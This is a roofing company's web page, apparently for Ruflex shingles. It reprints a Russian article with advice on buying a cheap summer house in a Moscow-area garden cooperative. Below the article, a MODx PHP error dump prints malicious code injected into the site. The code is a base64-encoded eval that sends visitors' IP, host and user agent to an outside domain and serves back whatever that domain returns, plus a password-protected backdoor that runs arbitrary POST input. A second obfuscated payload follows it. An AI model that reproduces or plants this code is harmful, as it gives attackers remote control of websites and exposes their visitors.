Гибкая
черепица
+7 (495) 234-41-41
8 (800) 234-41-10
заказать звонок
Вконтакте Twitter Facebook Youtube
Рус / Eng

02.03.2007

Как сэкономить на покупке дачи?

деревенский дом с кровлей руфлекс

Большинство жителей мегаполиса хотят проводить лето не в душном городе, а на природе. Экономным и хорошим выходом будет покупка дома в садовом товариществе.

Плюсы и минусы

Дом в садовом товариществе покупают люди, которые по каким-то причинам хотят потратить на летнюю дачу минимальное количество средств. Действительно, небольшой участок и легкое строение стоят дешевле даже деревенского домика, а летнее проживание, тем не менее, обеспечено. Однако у такого варианта есть и обратная сторона. «Во-первых, дом в садовом товариществе не может быть использован для постоянного проживания, т. е. у собственника и членов его семьи нет права зарегистрироваться на площади данного дома, – поясняет руководитель юридического департамента агентства недвижимости «Статус» Наталья Титкова. – Во-вторых, дом, построенный на садовом участке, должен иметь статус «садового дома» и отвечать определенным строительным нормам, которые, мягко говоря, далеки от размеров дворца».

Другой аспект «реверса» – непременное участие в жизни садового товарищества и соседей, с которыми везет далеко не всем. Казалось бы, если дом и земля находятся в собственности, то с законодательной точки зрения никто не имеет права требовать от владельца каких-либо дополнительных средств на, скажем, строительство асфальтированной дороги к товариществу. Однако на практике в полную силу включается человеческий фактор: «Все платят, а ты нет!». Война председателей товариществ со своим «электоратом» стала темой немалого количества телевизионных передач и газетных статей. О ней бывает интересно читать, но вести ее самому, да еще во время отпуска – не есть сладкая мечта отдыхающего.

Если же потенциального покупателя домика в садовом товариществе вполне устраивает небольшое летнее строение, а дрязги с соседями абсолютно не пугают, то вполне можно начинать присматривать себе дачу. «Если говорить о направлении при покупке дома в садовом товариществе, то у москвичей сейчас наиболее популярными являются Калужское, Киевское, Минское и Рижское», – рассказывает заместитель руководителя департамента продаж агентства недвижимости «Статус» Игорь Иванов. Ну, и естественно, чем ближе садовое товарищество находится к столице, тем дороже там стоит земля и дом.

Работаем на будущее

частный дом руфлексЕсть такая народная мудрость: когда куда-то входишь, всегда подумай о выходе. Актуальна она и при покупке летнего дома. Приобретая его, нужно подумать и о возможности его капитализации, т. е. увеличении в цене. Так, волна подъема цены на землю в Подмосковье медленно, но верно накрывает все более и более отдаленные от Москвы территории. Если еще пару лет назад можно было относительно недорого купить дом в товариществе в 40-километровой зоне от г. Москвы, то сейчас этот рубеж сместился за 60-километровую отметку. Это фактор объективный, не зависящий от владельца дома.

Существуют и субъективные факторы. «Критерий «выгодно продать» для любого объекта загородной недвижимости является относительным и должен сравниваться с ценами аналогов, – поясняет Игорь Иванов. – При прочих равных условиях поднять цену на дом в садовом товариществе можно за счет ухоженности участка, ландшафтных работ, наличия коммуникаций, которые, кстати, можно сделать самостоятельно, например, скважина, септик и т. д., и, несомненно, качества дома и его оборудования. Важно также, чтобы земля домовладения была в собственности».

Предмет торга

водостоки для загородного домаОбязательно нужно иметь в виду, что существует ряд факторов, которые снижают стоимость дома в садовом товариществе, а значит, могут стать предметом торга и поводом для скидки. Это:

1. Плохое качество управления садовым товариществом. Этот момент можно прояснить заранее: поискать информацию в Интернете, поговорить на месте с соседями, оценить ситуацию визуально.

2. Неухоженность участка и всей территории садового товарищества. Свита делает короля: даже если сам продаваемый участок выглядит идеально, то неухоженность окружающей территории может навести на мысль о том, что любитель красоты и чистоты будет находиться здесь не в своем социальном слое.

3. Заброшенность и плохое состояние самого дома – здесь отдельного комментария не требуется.

4. Отсутствие коммуникаций: «Удобства во дворе и вода в колодце на другой стороне товарищества – это, безусловно, повод для скидки», – считает Игорь Иванов.

5. Отсутствие оформленной собственности на землю. Этот факт ставит покупателя в полную зависимость от садового товарищества, его волеизъявления и мнения. Так что стоит не один раз подумать, платить ли за такое удовольствие вообще или же проще отказаться от таящей непредсказуемые последствия покупки.

По материалам Интернет-портала "Собственник" - www.sob.ru

Мы в:
MODx Content Manager 32 »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert() [function.assert]: Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /home/u199389/ruflex.ru/www/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0.0044 s(2 Requests)
  PHP: 0.2762 s 
  Total: 0.2806 s